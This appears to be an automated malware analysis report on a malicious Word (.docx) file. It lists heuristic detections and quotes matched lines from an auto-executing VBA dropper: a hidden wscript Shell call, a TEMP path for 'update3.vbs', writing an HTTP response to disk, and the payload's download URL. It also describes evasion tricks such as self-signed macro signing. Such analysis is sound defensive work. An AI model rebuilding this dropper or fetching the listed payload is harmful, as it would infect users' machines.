Malicious Office (OOXML) / .DOCX — malware analysis report

Heuristics 11

• VBA project inside OOXML medium 9 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

          Call Shell(Z & " " & Chr(34) & A & Chr(34), vbHide)

• LOLBin reference in VBA critical OLE_VBA_LOLBIN
  LOLBin reference in VBA
  Matched line in script

      Z = "wscript.exe"

• Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
  VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  Matched line in script

          Call Shell(Z & " " & Chr(34) & A & Chr(34), vbHide)

• VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
  VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
  Matched line in script

          E.Write D.responseBody

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

      Set D = CreateObject(X)

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
• Document_Open macro low OLE_VBA_DOCOPEN
  Document_Open macro
  Matched line in script

  Private Sub Document_Open()

• Environ() call (env variable access) low OLE_VBA_ENVIRON
  Environ() call (env variable access)
  Matched line in script

      A = Environ("TEMP") & "\" & "upd" & "ate3.vbs"

• VBA project signed with a self-signed certificate info OLE_VBA_SIGNATURE_SELF_SIGNED
  The VBA project is signed, but the signing certificate is self-signed (issuer equals subject) — no certificate authority vouches for the signer. Self-signed VBA signing is the common trick to make a macro project appear signed/trusted without a real publisher identity.
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL https://raw.githubusercontent.com/RomanMus-bit/vbssss/main/update3.vbs Referenced by macro

  • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
  • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
  • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
  • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
  • http://schemas.microsoft.com/office/2019/extlstReferenced by macro
  • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
  • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
  • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
  • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
  • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
  • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
  • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
  • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
  • http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
  • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
  • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
  • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
  • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

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